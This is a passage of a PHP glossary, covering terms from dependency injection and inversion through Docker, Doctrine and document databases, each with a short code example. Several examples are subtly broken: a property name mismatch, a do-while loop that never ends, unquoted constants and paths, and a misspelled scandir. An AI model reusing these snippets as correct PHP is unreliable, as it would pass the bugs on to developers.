- Dependency Injection (DI) Container in PHP
- Create PHP Dependency Injection Container and Learn How Laravel Initiate Controller and Method with Dependency and Parameter
Related
Related packages
Dependency Injection
Dependency injection, or DI, is a design pattern in which an object receives other objects that it depends on. Dependency injection is a design pattern where an object receives its dependencies from external sources rather than creating them internally. This promotes loose coupling, easier testing, and greater flexibility in code maintenance. By injecting dependencies, developers can swap implementations more easily, making systems more modular and adaptable to change.
<?php
class MyObject {
function __construct(private readonly Connection $database) {}
function load(int $id): self {
return $this->connection->select($id);
}
}
?>
See Also
- Road to dependency injection
- Dependency Injection in PHP: Laravel’s Magic vs. Symfony’s Explicitness
Related
- Autowiring
- Clock
- Dependency Injection Container
- Injection
- Interoperability
- Dependency Inversion (DIP)
- Greenfield
- Magento
- Ports And Adapters
- First-Class Module
- Service Container
- Service
- Strategy
- Testable
Dependency Inversion (DIP)
The Dependency Inversion Principle, or DIP, is the D in SOLID. It states: high-level modules should not depend on low-level modules; both should depend on abstractions. Abstractions should not depend on details; details should depend on abstractions.
In practice, this means a business-logic class should type-hint an interface, not a concrete implementation. The concrete class is injected from the outside, typically by a dependency injection container. The high-level class has no knowledge of which concrete class it will receive.
Dependency inversion has two effects: it decouples the high-level policy from low-level implementation details, and it makes the high-level class testable: a test can inject a mock or in-memory implementation instead of the real dependency.
Dependency inversion is often confused with dependency injection, or DI. DI is the mechanism for delivering the dependency; DIP is the principle that governs which direction the dependency arrow should point. You can have DI without DIP, but DIP requires DI, or a service locator, to be applied.
DIP is expressed through interfaces, abstract classes, and a DI container.
<?php
// Violation: high-level class depends on a concrete low-level class
class OrderService {
private MySQLOrderRepository $repo; // concrete, tightly coupled
public function place(array $data): Order {
return $this->repo->save(Order::from($data));
}
}
// DIP applied: both depend on an abstraction (interface)
interface OrderRepository {
public function save(Order $order): Order;
public function findById(int $id): ?Order;
}
class OrderService {
public function __construct(
private OrderRepository $repo, // abstraction, no concrete dependency
) {}
public function place(array $data): Order {
return $this->repo->save(Order::from($data));
}
}
// In tests: inject an in-memory implementation
$service = new OrderService(new InMemoryOrderRepository());
// In production: inject the real implementation via DI container
// $container->bind(OrderRepository::class, MySQLOrderRepository::class);
?>
See Also
- Dependency Inversion Principle in PHP — Depend on Abstractions, Not Concrete
- Dependency Injection vs Dependency Inversion: Understanding the Difference (Simplified for PHP Developers)
Related
Dependency
A dependency refers to something that the current source code relies on to function correctly. Dependencies can take many forms, depending on the context: it may be an external component, a PHP feature, resources such as memory or CPU, data or external services.
In the PHP world, dependencies often refers to components, and is related to composer.
See Also
Related
- Inlining
- Composer
- Coupling
- Decoupling
- Library
- Software Bill Of Material (SBOM)
- Package Manager
- Tech Island
- Tech Silo
- Attack Surface
- composer\.json
- composer\.lock
- Vanilla PHP
Dependent Type
A dependent type is a type whose definition depends on a value.
PHP does not support dependent type explicitly, though several situations behaves in a similar manner.
<?php
print abs(-1); // 1, as integer
print abs(-1.33); // 1.33, as float
?>
See Also
Related
Deployment
Deployment, sometimes misspelled deploiment, refers to the process of making a web application or website available for use on a server or hosting environment. It involves transferring the necessary files and configuring the environment to run the PHP code.
See Also
Related
- Environment
- Ship
- Cloud
- DevOps
- Phar
- Rollback
- Artifact
- Hosting
- Build
- Docker Container
- Makefile
- PHP Docker Container
- Production
- Types Erasure
- WHM (WebHost Manager)
Related packages
Deprecated
Deprecated is a native PHP attribute. It marks a method, function or class constant as available, but soon to be removed.
The Deprecated attribute accepts an argument, that is shown to help users move to an alternative.
<?php
#[Deprecated]
function trumpet() {}
trumpet();
//Deprecated: Function trumpet() is deprecated
#[Deprecated('Use forage instead.')]
function trample() {}
trample();
//Deprecated: Function trample() is deprecated, Use forage instead.
?>
See Also
Related
Deprecation
Deprecation, or making a feature obsolete, is the state of a feature which is still available, but not recommended anymore. The next stage of life for the feature is the removal, usually in a major release.
<?php
1 ? 2 : 3 ? 4 : 5; // deprecated in PHP 7.4, removed in PHP 8.0
(1 ? 2 : 3) ? 4 : 5; // ok
?>
See Also
- Deprecated Code: The Warning You Keep Ignoring Will Eventually Break Everything
- Software Engineering at Google - Deprecation
Related
Depth-First Search
Depth-first search, or DFS, is an algorithm for traversing or searching a tree or graph that follows one branch as far down as it can go before backtracking and trying the next unexplored branch. Starting from a root node, it moves to an unvisited neighbor, then to one of that neighbor’s unvisited neighbors, and so on, only stepping back once it hits a node with no unvisited neighbor left.
DFS is naturally implemented with recursion, since each recursive call handles one node and calls itself on the next unvisited neighbor, or explicitly with a stack, pushing neighbors and popping the most recently pushed one first. This last-in-first-out order is what produces the deep, branch-by-branch traversal, in contrast with breadth-first search, which uses a queue and explores level by level.
DFS is used for tasks where the full extent of a branch matters more than distance from the start, such as detecting cycles in a graph, finding connected components, topological sorting of a dependency graph, or exhaustively walking a directory tree or an abstract syntax tree. Its memory usage is generally lower than BFS on wide graphs, since it only needs to remember the current path rather than an entire frontier of nodes.
<?php
function dfs(array $graph, string $node, array &$visited = []): array {
$visited[$node] = true;
$order = [$node];
foreach ($graph[$node] ?? [] as $neighbor) {
if (!isset($visited[$neighbor])) {
$order = [...$order, ...dfs($graph, $neighbor, $visited)];
}
}
return $order;
}
$graph = [
'A' => ['B', 'C'],
'B' => ['A', 'D'],
'C' => ['A', 'D'],
'D' => ['B', 'C'],
];
print_r(dfs($graph, 'A')); // ['A', 'B', 'D', 'C']
?>
See Also
Related
Related packages
Depth
Depth is a measure of how many an operation has been repeatedly applies, over and over.
It applies to several concepts:
- Multi-dimensional array depth:
$array['d1']['d2']['d3']['d4'] - Recursion depth: see example
- Nested loop depth: number of loops inside a loop
- Callstack depth: number of functions calling another one
- Object inheritance depth: the maximum number of extension levels in a class hierarchy
Depth might be limited, when it is prevented from going beyond a certain level, or unlimited, when there is no such limit. For example, xdebug offers a directive called xdebug.max_nesting_level that limits nesting depth.
<?php
// The recursion depth is limited to 5
function trumpet($level = 0) {
if ($level < 5) {
return trumpet($level + 1);
}
return 1;
}
?>
See Also
- Understanding Recursion Tree Depth and Logarithmic Levels
- Fixing PHP Fatal error: Nesting level too deep
Related
Deque
A deque, short for double-ended queue, pronounced “deck”, is a linear data structure that generalizes both a stack and a queue by allowing elements to be inserted and removed efficiently, in constant time, from either end, the front and the back. Unlike a plain queue, which is restricted to FIFO access, inserting at one end and removing at the other, or a plain stack, which is restricted to LIFO access, inserting and removing at the same end, a deque supports all four basic operations: push front, push back, pop front, and pop back. This extra flexibility makes it a natural building block for algorithms that need both stack-like and queue-like behavior at once, such as sliding-window problems, undo and redo history, work-stealing task schedulers, palindrome checking, and breadth-first search variants that must inspect or remove elements from both ends of the frontier. A deque is provided by the Ds\Deque class from the Data Structures ds extension, which stores its elements in a resizable array buffer rather than a doubly linked list, giving amortized constant time for insertions and deletions at either end while also allowing constant time random access by index, capacity pre-allocation, and standard iteration through the Traversable interface.
<?php
$deque = new \Ds\Deque();
$deque->insert(0, e); // [e]
$deque->insert(1, f); // [e, f]
$deque->insert(2, g); // [e, f, g]
$deque->insert(0, a, b); // [a, b, e, f, g]
$deque->insert(2, ...[c, d]); // [a, b, c, d, e, f, g]
var_dump($deque);
?>
See Also
Related
Dereferencing
Dereferencing is the action to access a value, which is referenced with a pointer. Since PHP has no pointer, dereferencing applies to accessing an element in an array or an object.
Dereferencing is also possible to function and methods calls: when a function returns an array or an object, it is possible to immediately access one of the element by using the array or method syntax.
<?php
$array = ['a', 'b', 'c'];
echo $array['b'];
function trumpet() {
return ['x', 'y', 'z'];
}
// Function Array Dereferencing
trumpet()[2]; // display z
?>
See Also
- Function Array Dereferencing (FAD)
- Array Dereferencing in PHP
- Function Array Dereferencing in PHP (example 8)
Related
Design Pattern
A design pattern, or simply a pattern, is a general solution to a common problem. Design patterns also get a name, for easy reference.
Common design patterns:
- Factory
- Dependency injection
- Decorator
- Module
- Iterators
- This list is not exhaustive…
Design patterns are not dedicated to PHP, though most of them do apply to PHP.
See Also
- The Catalog of PHP Examples
- DesignPatternsPHP
- Design Pattenrs (the book)
- Boosting PHP Performance with Design Patterns: Real-World Examples
Related
- Best Practices
- Observer Design Pattern
- Singleton
- Design Pattern Wrapper
- Clean Architecture
- Clean Code
- Component
- Registry
- Facade
- Proxy Class
- Snapshot
- Specification
- Command
- Decorator Pattern
- God Object
- KISS
- Middleware Pattern
- Observer Pattern
Desktop Application
A desktop application runs natively on a user’s local operating system and has direct access to the file system, hardware, and system APIs. PHP is not traditionally used for desktop applications, but projects like NativePHP wrap a PHP runtime inside Electron or NativeApp to ship PHP code as a cross-platform desktop app. Desktop apps differ from web apps in that they do not require a browser or a remote server to function.
Related
- NativePHP
- Command Line Interface (CLI)
- Terminal User Interface (TUI)
- Web Application
- Mobile Application
- Application
Destructor
The destructor is a magic method in a class, which is called at shutdown of an object, in order to do any last minute cleaning. It is called __destruct.
Most of the time, the destructor is automatic: removing scalar values may be sufficient. In cases of resources, or other objects, it is recommended to issue the graceful commands to shut them down in turn.
Destructors are usually called after the end of the script, and has no access to any display, including stdout. As such, calls to echo are ineffective, and it is recommended to store the needed logs in another system.
<?php
class Elephpant {
private $file;
function __construct($path) {
$this->file = fopen($path, 'w');
}
function __destruct() {
fwrite($this->file, 'End');
fclose($this->file);
}
}
$elephpant = new Elephpant('/tmp/test.txt');
unset($elephpant);
?>
See Also
Related
Destructuring
Destructuring is a general programming concept where the individual elements of a compound value, such as an array, a list, or an object, are extracted in one step and bound to separate variables, instead of being accessed one at a time by index or property.
Many languages have dedicated destructuring syntax that also supports skipping elements, providing default values, capturing remaining elements, and destructuring nested structures in a single expression.
Destructuring is provided by list() and its short array syntax [ ] on the left side of an assignment, and by foreach() when iterating over arrays of arrays. PHP does not support destructuring of arbitrary objects, though list() may be combined with ArrayAccess-implementing objects.
<?php
// array destructuring, PHP style
[$a, $b, $c] = [1, 2, 3];
// skipping an element
[$first, , $third] = [1, 2, 3];
// keyed destructuring
['name' => $name, 'age' => $age] = ['name' => 'Ann', 'age' => 30];
// nested destructuring
[[$trunk, $ivory], [$tusk]] = [[1, 2], [3]];
// destructuring while iterating
foreach ([[1, 2], [3, 4]] as [$left, $right]) {
echo $left + $right, "\n";
}
?>
See Also
Related
Determinism
A deterministic function or algorithm always produces the same output for the same input, regardless of when or how many times it is called. It has no side effects and does not rely on external or mutable state.
Determinism is relevant to caching strategies, testing, and the correctness of pure functions. Non-deterministic sources such as rand(), time(), microtime(), or global state break determinism and make functions harder to test and reason about.
Determinism is a core property of pure functions in functional programming and is closely related to idempotence.
<?php
// deterministic: same input always yields same output
function add(int $a, int $b): int {
return $a + $b;
}
// non-deterministic: depends on current time
function currentHour(): int {
return (int) date('H');
}
?>
See Also
- Pure and Deterministic Functions
- Understanding Pure Functions: A Core Concept in Functional Programming
Related
- Pure Function
- Side Effect
- Idempotent
- Immutable
- Cache
- Memoization
- Random
- Deterministic
- Impure Function
- composer\.lock
- Functional Programming (FP)
- Monotonic
- PRNG
Deterministic
A deterministic function is a function that produces the same output, based on the same input.
strlen() is a deterministic function: it always returns the length of a string the same way.
time() is not a deterministic function: it always returns a different value, as time passes. rand(), time() are non-deterministic.
A function becomes non-deterministic when it relies on systems that may change between two calls. This is the case for files or database accesses.
See Also
Related
DevOps
DevOps, or development operations, is a set of cultural practices, tools, and methodologies that combine software development, the Dev part and IT operations, the Ops part, to shorten the systems development lifecycle and deliver high-quality software continuously.
Key DevOps practices relevant to PHP projects include:
- Continuous Integration, CI: automatically building and testing code on every push
- Continuous Deployment, CD: automatically deploying tested code to production
- Infrastructure as Code, IaC: managing servers, containers, and services via version-controlled configuration files
- Containerisation: packaging PHP applications in Docker containers for consistent environments.
- Monitoring and observability: tracking application performance, errors, and uptime.
- Automated testing: unit, integration, and end-to-end tests run in the pipeline.
See Also
Related
- Continuous Integration (CI)
- Deployment
- Docker Container
- Tool
- Monitoring
- Test
- git
- Software Development Life Cycle (SDLC)
- Infrastructure as Code (IaC)
- Docker
- Timing Attack
- Build
- Service Level Agreement (SLA)
Related packages
Dictionary
A dictionary is a data structure that holds a collection of values with a unique identifier. Each identifier is an integer or a string and may be other types in rarer occasions. The related values may be of any type.
A dictionary structure relies often on the array data structure.
<?php
$dictionary = ['a' => 'blue',
'b' => 'pink',
'c' => ['green', 'yellow'],
];
?>
See Also
Related
Diff
A diff is the textual difference between two versions of code. It represents the added, removed and modified lines.
Diffs are a staple of CVS systems. They are important when reviewing a PR, as they represent only the changed lines.
Diffs are used to identify modifications, although they fail at identifying exhaustively all impacts in the code.
Diff is also the name of the software that calculates the difference between two files.
A diff is not always unique: two files’ difference may be represented by two distinct diffs, or more.
See Also
- The Myers diff algorithm: part 1
- How Does Git Find Code Changes?: diff Algorithm, LCS, and Myers Explained
Related
Digital Signature
A digital signature is a method to ensure that a message was sent by a specific recipient. It uses mathematical methods to combine the original message, plain text or not, with a private key, to produce a piece of data which may be verified later with the public key. Then, the pair of private key and public key gives a high level of confidence that the message was coming from the known sender.
PHP can sign data with openssl and sodium extensions.
A checksum can be considered a signature without a private key: it computes a short version of a file, and is difficult to reproduce without the original data. Any attempt at modifying the original data can then be detected, although the checksum itself has now to be trusted.
A signature is distinct from the sign of a number, + or -.
<?php
function trumpet(string $message): string {
// adapted from the PHP manual
// fetch private key from file and ready it
$pkeyid = openssl_pkey_get_private(file://src/openssl-0.9.6/php/sign/key.pem);
// compute signature
openssl_sign($message, $signature, $pkeyid);
// free the key from memory
openssl_free_key($pkeyid);
// This returns the signature of the message for 'php' user.
// It may be checked with the public key
return $signature;
}
?>
See Also
- How to Explain Public-Key Cryptography and Digital Signatures to Non-Techies
- Public Key Signature: What It Is & Why It’s Everywhere
Related
Dir
A directory, or dir, is a named collection of files on the file system.
A dir may also be called a folder.
There is a magic constant called __DIR__, which holds the current directory of the current file.
<?php
$d = dir('/path/to/folder');
while (false !== ($fileOrDir = $d->read())) {
echo $fileOrDir.PHP_EOL;
}
$d->close();
print_r(scanddir('/path/to/folder'));
?>
See Also
Related
Direct Output
Direct output is the characteristics of a function or method to write data directly to the output stream.
A good practice is to passe the output data to the calling context, for it to decide how to handle it.
Errors, exceptions, and debug often use direct output. Specific functions, such as echo, print_r, debug_print_backtrace() output directly on purpose.
Direct output is the root for the infamous Headers already sent error.
The alternative is to output to logs, or return the results.
See Also
Related
Directives
Directives are the configuration option of PHP. They may be set in the php.ini file, in HTTP server files like .htaccess, or accessed via the ini_get() and ini_set() native calls.
Directives are also set by PHP extensions or by PHP applications.
<?php
echo 'display_errors = ' . ini_get('display_errors') . "\n";
echo 'register_globals = ' . ini_get('register_globals') . "\n";
echo 'post_max_size = ' . ini_get('post_max_size') . "\n";
echo 'post_max_size+1 = ' . (ini_get('post_max_size')+1) . "\n";
echo 'post_max_size in bytes = ' . return_bytes(ini_get('post_max_size'));
?>
See Also
Related
- Extensions
- php\.ini
- \.htaccess
- Configuration
- Enable
- Flag
- ini_set()
- html_errors
- max_execution_time
- Register Globals
- register_argc_argv
- serialize_precision
- disable_functions
- get_browser()
- max_input_vars
- parse_ini_file()
DIRECTORY_SEPARATOR
The DIRECTORY_SEPARATOR constant provides the character to distinguish one directory from the next, in a path.
DIRECTORY_SEPARATOR is / most of the time. On Windows, it may be \, although / is also valid at the same time, for compatibility reasons.
Using DIRECTORY_SEPARATOR to build paths or split a string into its components, means that the resulting data is valid on every underlying system.
<?php
$path = 'folder' . DIRECTORY_SEPARATOR . 'subfolder' . DIRECTORY_SEPARATOR . 'file.txt';
echo $path;
?>
See Also
- Portable PHP code: DIRECTORY_SEPARATOR is not necessary
- Cross-platform code 3: Path and line separators
Related
DirectoryIterator
The DirectoryIterator class provides a simple interface for viewing the contents of filesystem directories and files.
It is an iterator, and may be recursively traversed, like a file system.
<?php
$iterator = new DirectoryIterator(__DIR__);
while($iterator->valid()) {
$file = $iterator->current();
echo $iterator->key() . " => " . $file->getFilename() . "\n";
$iterator->next();
}
?>
See Also
Related
- Iterator
- Recursion
- RecursiveIterator
- RecursiveTreeIterator
- Standard PHP Library (SPL)
- FileSystemIterator
- RecursiveDirectoryIterator
- SplFileInfo
dirname
dirname() is the name of the path to a file.
In the path /var/www/index.php, the dirname is /var/www.
dirname() provides the dirname from a path, based on the / separator. It has to be combined with basename() to get the name of the directory, without its path.
See Also
- Understanding the PHP’s pathinfo() Function
- Get the directory name and filename from a full path name with PHP
Related
Disable Classes
This directive disables the provided list of classes in the php.ini.
Once disabled, the classes may be created again, via an extension or in the custom PHP code. Custom classes may still be created and used.
See Also
Related
Disable Functions
The disable_functions PHP directive prevents specific native functions from being executed when called from code. It helps mitigate potential security vulnerabilities or enforce practices by forbidding usage of specific functions, even when they are compiled into the engine.
This directive requires a list of PHP functions, separated by a comma, and set in the PHP.ini file: this is read at startup time and cannot be changed later.
disable_functions only works on native functions, and extension functions. It is not possible to preemptively disable a custom function: this may be achieved by defining the forbidden function, and assigning it a warning, or no operation.
A disabled function may be recreated as a custom function in the code.
Disabled functions appear as undefined: in fact, they can also be redefined, with a custom code and then used.
See Also
Related
Disable
To disable is to prevent a feature from performing. For example, using disable_functions=foo prevents the function foo from being available at the start of execution, even if PHP has a definition for it. The function foo cannot be run anymore, unless defined again.
Another example is memory_limit=-1, which sets the maximum memory used by a PHP application to -1, effectively disabling the control of the maximum amount of used memory.
Putting a piece of code in a comment is a way to disable it: it cannot be run anymore.
To disable implies a permanent state: it is different from a conditional statement.
See Also
- Disabling functions using the PHP disable_functions directive
- PHP.INI settings Disable exec, shell_exec, system, popen and Other Functions To Improve Security
Related
disable_functions
The disable_functions PHP directive prevents specific native functions from being called by the code. It takes a comma-separated list of function names, such as exec, shell_exec, system, passthru, popen, and makes those functions unavailable at runtime, even when they are compiled into PHP.
This directive can only be set in the php.ini file, a virtual host configuration, or the server configuration: it is read at startup and cannot be changed with ini_set() in the code. A script that tries to call a disabled function gets a fatal error, and the function appears as undefined.
disable_functions only works on native functions and extension functions. It cannot disable a custom function: this can be achieved by defining the forbidden function in the code and making it emit a warning or do nothing. A disabled function may also be redefined as a custom function, which is why it is not a complete protection on its own.
See Also
- Disabling functions using the PHP disable_functions directive
- How to enable/disable PHP native functions – php.ini
Related
display_errors
display_errors configures the display of PHP errors, warnings and notices to the standard output. By default, it is on, with the value 1.
In production environments, it is recommended to set display_errors to 0. The error messages should be send to a logging system, for further exploitation. Otherwise, it is considered a data leak, and may lead to a vulnerability.
See Also
Related
Distributed Monolith
A distributed monolith is an anti-pattern where a system is deployed as multiple separate services but remains tightly coupled in practice, changes to one service still require coordinated changes to others, defeating the purpose of the distribution.
Common symptoms: shared database between services, synchronous call chains where all services must be available for any request to succeed, shared code libraries with business logic, deployment dependencies where service A must be deployed before service B, and a lack of independent scalability.
The distributed monolith combines the worst of both worlds: the operational complexity of microservices without the benefits.
The root cause is usually an attempt to split a monolith by technical layer, splitting into a frontend service and backend service, rather than by business capability. True microservices require domain-driven boundaries and decentralised data management.
<?php
// Symptom: all services share one database, tight coupling at the data layer
// Service A writes orders; Service B reads orders directly from the same schema.
// A schema migration in Service A breaks Service B without any API change.
// Symptom: synchronous chain, no service can fail independently
// UserService -> OrderService -> PaymentService -> InventoryService
// If Inventory is down, the entire chain fails, same as a monolith.
// Correct approach: each service owns its data and communicates via events or APIs
// Order placed -> event published -> Inventory consumes event independently
?>
See Also
- Is your microservice a distributed monolith?
- Distributed monolith architecture: What it is, why it happens, and how to fix it
Related
- Monolith
- Microservice
- Service-Oriented Architecture (SOA)
- Shared Database
- Fault Isolation
- Coupling
- Domain Design Driven (DDD)
Distributed State
Distributed state refers to application state that is scattered across multiple, loosely-connected locations rather than being owned by a single, well-defined component.
Distributed state creates several detectable problems:
- Implicit coupling: changing state in one file silently breaks another
- Unpredictable execution order: the value depends on when code runs, not just what it does
- Untestable code: a function cannot be tested in isolation if it reads global state
- Hidden dependencies: the function signature lies. It looks pure but reads from $_SESSION or a static.
<?php
//Global variables spread across files:
$config = []; // set in bootstrap.php
// ... modified in module1.php, module2.php, read everywhere
Static class properties shared across classes:
class Auth { public static $user = null; }
class Logger { /* reads Auth::$user */ }
class Cart { /* also reads Auth::$user */ }
Superglobals ($_SESSION, $_COOKIE, $_SERVER) accessed everywhere:
// session key 'cart' written in CartController, read in CheckoutController,
// cleared in OrderController — no single owner
$_SESSION['cart'][] = $item;
?>
See Also
Related
- State
- Implicit State
- Hidden State
- Implicit
- Stateful
- Global Variables
- $GLOBALS
- Appeasement Pattern
- Load Balancer
Distributed Systems
A distributed system is a collection of independent computers that appear to their users as a single coherent system. Components run on separate nodes, communicate via a network, and coordinate to achieve a common goal.
Distributed systems introduce a class of problems absent in single-process applications: partial failures where one node fails while others continue, network partitions where nodes cannot communicate, clock skew where no shared global time exists, and concurrency across nodes.
The CAP theorem states that a distributed system can guarantee at most two of three properties simultaneously: consistency or all nodes see the same data, availability or every request gets a response, and partition tolerance or the system continues despite network splits. Real networks always partition, so the practical choice is between CP consistency over availability and AP availability over consistency, i.e., eventual consistency.
Distributed systems arise in microservices, multi-region deployments, distributed caches, such as Redis Cluster, Memcached, and queue-based architectures.
<?php
// PHP interacts with distributed systems through clients:
// Redis Cluster — distributed key-value store
$redis = new Redis();
$redis->connect('redis-cluster.internal', 6379);
$redis->set('session:abc', json_encode($sessionData), 3600);
// RabbitMQ / SQS — distributed message passing
$channel->basic_publish(
new AMQPMessage(json_encode($payload)),
exchange: '',
routingKey: 'orders',
);
// HTTP service call — network may fail, retry with backoff
$response = $httpClient->request('POST', 'https://payments.internal/charge', [
'json' => $payload,
'timeout' => 3.0,
]);
?>
See Also
Related
- Microservice
- Eventual Consistency
- Fault Isolation
- Message Queue
- Resilience
- CAP Theorem
- Distributed Tracing
- Service Discovery
- Service Registry
- Correlation ID
- Distributed Transactions
- Gearman
- OpenTelemetry
- RdKafka
- Cascading Failure
- Massively Parallel Processing Database (MPP)
- Peer-to-Peer (P2P)
- Shared-Nothing Architecture
Distributed Tracing
Distributed tracing, or a distributed trace, tracks a single request as it flows through multiple services in a distributed system. Each service records a span and propagates a trace context to downstream services via HTTP headers or message metadata. All spans sharing the same trace ID are assembled into a trace: a complete picture of the request’s journey.
Without distributed tracing, debugging latency or errors in a microservices system means correlating logs across dozens of services manually. Distributed tracing provides a visual timeline, the waterfall diagram, showing which service took how long, where errors occurred, and how services depend on each other.
The W3C Trace Context standard, the traceparent header, defines the propagation format. OpenTelemetry is the vendor-neutral SDK and API for instrumenting PHP applications with OpenTelemetry tracing. Jaeger and Zipkin are common open-source backends; commercial alternatives include Datadog APM, New Relic, and Honeycomb.
OpenTelemetry provides a native SDK for manual and automatic instrumentation. The ext-opentelemetry extension enables zero-code instrumentation for frameworks and HTTP clients.
<?php
use OpenTelemetry\API\Globals;
// Manual span creation
$tracer = Globals::tracerProvider()->getTracer('order-service');
$span = $tracer->spanBuilder('place-order')->startSpan();
$scope = $span->activate();
try {
$order = $orderService->place($data);
$span->setAttribute('order.id', $order->id);
} catch (\Throwable $e) {
$span->recordException($e);
$span->setStatus(\OpenTelemetry\API\Trace\StatusCode::STATUS_ERROR);
throw $e;
} finally {
$scope->detach();
$span->end();
}
// The traceparent header is propagated automatically by the SDK
// when making outbound HTTP calls via PSR-18 clients with the OTel middleware.
?>
See Also
Related
- Trace
- Monitoring
- Microservice
- Distributed Systems
- Application Performance Management (APM)
- Telemetry
Related packages
Distributed Transactions
A distributed transaction is a transaction that spans multiple independent data stores or services, requiring all participants to agree on the outcome. This means all commit or all abort.
The classic protocol is Two-Phase Commit, 2PC: a coordinator sends a PREPARE request to all participants; if all reply OK, the coordinator sends COMMIT; otherwise it sends ROLLBACK. 2PC is blocking: if the coordinator crashes after PREPARE, participants may be locked indefinitely.
In microservices, distributed transactions are largely avoided because they require all participating services to be available simultaneously, undermining the independence and fault isolation that microservices are designed to provide.
The preferred alternative is the Saga pattern: a long-running business process is decomposed into a sequence of local transactions, each publishing an event. If a step fails, a compensation transaction undoes the previous steps.
PHP applications typically avoid distributed transactions by using a single database, or by embracing eventual consistency and the Saga pattern in microservices contexts.
<?php
// Saga pattern: choreography-based (event-driven)
// Each service handles its local transaction and publishes an event.
// No central coordinator — services react to each other's events.
// 1. OrderService places order and publishes OrderPlaced
$order = Order::place($data);
$orderRepository->save($order);
$eventBus->publish(new OrderPlaced($order->id, $order->total));
// 2. PaymentService listens for OrderPlaced, charges the card
// On success: publishes PaymentProcessed
// On failure: publishes PaymentFailed -> OrderService compensates (cancels order)
// 3. InventoryService listens for PaymentProcessed, reserves stock
// On failure: publishes StockUnavailable -> PaymentService compensates (refund)
?>
See Also
Related
Distributed
When something is distributed, it is spread across several autonomous instances, though it is reputed working as one.
The independent servers pass messages among each other, in order to be synchronised.
There are distributed transactions over multiple SQL server; distributed sessions, over multiple web server; etc.
See Also
Related
Division
Division is the mathematical division. It applies to numbers: integers and float.
It also works with booleans and null, which are converted to integers. Other types are not allowed for division and yield a fatal error.
Division may be resulting in an integer or a float, whatever the type of the initial operands. PHP produces integers whenever possible.
Division by zero, or by any value that is cast to 0, leads to a DivisionByZeroError.
The operator for division is the slash /. The backslash \ is used for namespaces.
There is a function for the integer division: intdiv(); and % for the modulo operator, aka the remaining.
<?php
$a = 10 / 2.5; // 4.0
?>
See Also
Related
DivisionByZeroError
The DivisionByZeroError exception is thrown when an attempt is made to divide a number by zero. It is never possible to divide by zero, the result is undefined. It is true for all zeroes: 0, +0, -0.
<?php
try {
echo 1 / $a;
} catch(DivisionByZeroError $e){
echo 'Trying to divide by 0';
}
?>
See Also
Related
Disjunctive Normal Form (DNF)
DNF stands for Disjunctive Normal Form. It is a standard form used in propositional logic and Boolean algebra. DNF represents logical expressions as a disjunction OR of one or more conjunctions AND of literals. In simpler terms, it is a way to express logical statements using only the logical operators OR and AND.
The DNF form allows for the representation of any logical expression using a combination of OR and AND operators. It is particularly useful in logic analysis, theorem proving, and boolean circuit design.
<?php
class Elephpant {
private (A&B)|(C&D) $trunk;
}
?>
See Also
Related
- Logical Operators
- And Operator
- Type System
- Composite Type
- Union Type
- Intersection Type
- Relative Types
- Property Type Declaration
Domain Name System (DNS)
Domain Name System, or DNS, is the internet’s equivalent of a phone book, translating human-readable domain names, like php.net into machine-readable IP addresses, 172.217.3.110.
DNS is essential for the functioning of the internet, as it allows users to access websites and services using easy-to-remember names instead of complex numerical addresses.
DNS requires the configuration of various records, with different types: A, AAAA, CNAME, MX, TXT.
See Also
Related
Do While
Do While is a loop structure. It runs the block of code until the condition is not met anymore. The block is run once before the condition is checked, so it is always run at least once.
Part of the block execution may be skipped by using the continue keyword.
<?php
$i = 1;
do {
print "$i\n";
} while($i < 10);
?>
See Also
Related
Docblock
A docblock, or docblock comment, is a special kind of comment used to document any structure: classes, constants, traits, interfaces, variables, functions, methods, and properties. It is written in a specific format and is typically placed just before the element it describes. Docblocks are used by tools like phpDocumentor, PHPDoc, and IDEs to generate documentation and provide code hints.
Docblocks improve readability, enable IDE features, and automate reference documentation generation.
<?php
/**
* A brief description of the function.
*
* A more detailed description, if needed.
*
* @param type $parameter_name Description of the parameter
* @return type Description of the return value
*/
function exampleFunction($parameter_name) {
// Function code here
return $result;
}
?>
See Also
Related
- Self-documenting
- Documentation
- Readability
- Block
- Explanation
- Effect System
- Metadata
- PHPStan
- Psalm
- Static Code Analysis (SCA)
- Type Parametricity
Related packages
Docker Container
A Docker container is a lightweight, standalone, executable unit of software that packages code and all its dependencies, like libraries, system tools, runtime, settings, so that the application runs quickly and reliably across different computing environments.
See Also
Related
Docker Image
A Docker image is a read-only template used to create Docker containers. It bundles the application code, runtime, libraries, environment variables, and configuration files needed to run an application.
Images are built from a Dockerfile and are composed of stacked, immutable layers. Each instruction in the Dockerfile adds a new layer; unchanged layers are cached and reused to speed up builds.
Official PHP images are available on Docker Hub in several variants: cli, fpm, apache, and zts, each based on Debian or Alpine Linux.
See Also
Related
Docker
Docker is an open platform for developing, shipping, and running applications inside isolated containers. It packages an application and all its dependencies into a self-contained unit that can run consistently on any host.
In the PHP ecosystem, Docker is widely used to standardise development environments, run PHP applications in production, and manage services such as web servers, databases, and caches.
Docker relies on images as blueprints and containers as running instances of those images. Images are distributed through registries such as Docker Hub, which hosts the official PHP images.
See Also
- Official PHP Docker images
- Docker documentation
- Production-ready PHP Docker images built on official PHP
Related
- Docker Container
- PHP Docker Container
- Container
- DevOps
- Image
- Cloud
- IaaS
- PaaS
- Docker Image
- Infrastructure as Code (IaC)
- Load Balancer
- Container Orchestration
- Installation
- Kubernetes
- Service Mesh
Doctrine
Doctrine is a set of PHP libraries built around persistence and object-relational mapping. Its two flagship projects are Doctrine DBAL, a database abstraction layer providing one API over multiple database engines, and Doctrine ORM, built on top of DBAL, which maps PHP objects to database rows and back using the Data Mapper pattern, rather than Active Record, so entities stay ignorant of how they are persisted.
Doctrine ORM uses annotations, or attributes since PHP 8, or XML/YAML mapping files, to describe how a class’s properties map to a table’s columns. It tracks changes to managed entities through a Unit of Work, and only issues the SQL statements needed to persist them once flush() is called, instead of after every individual change.
Doctrine also ships companion libraries: Doctrine Migrations, to version and apply schema changes, and Doctrine Collections and Doctrine Inflector, both used well beyond the ORM itself. It is the default persistence layer of Symfony, and one of the most widely used ORMs in the PHP ecosystem, alongside Eloquent and Propel.
<?php
// Doctrine ORM: entities are persisted through a Unit of Work
$user = new User();
$user->setName('Alice');
$entityManager->persist($user); // schedules the insert
$entityManager->flush(); // issues the actual SQL
?>
See Also
Related
Related packages
Document Database
A document database, also called a document store, is a type of NoSQL database that stores data as semi-structured documents, typically in JSON, BSON, or XML format. Each document is a self-contained record with a flexible schema, unlike the fixed rows and columns of relational databases.
Common document databases used with PHP include MongoDB and CouchDB. PHP drivers and libraries such as the official MongoDB extension or Doctrine ODM provide integration.
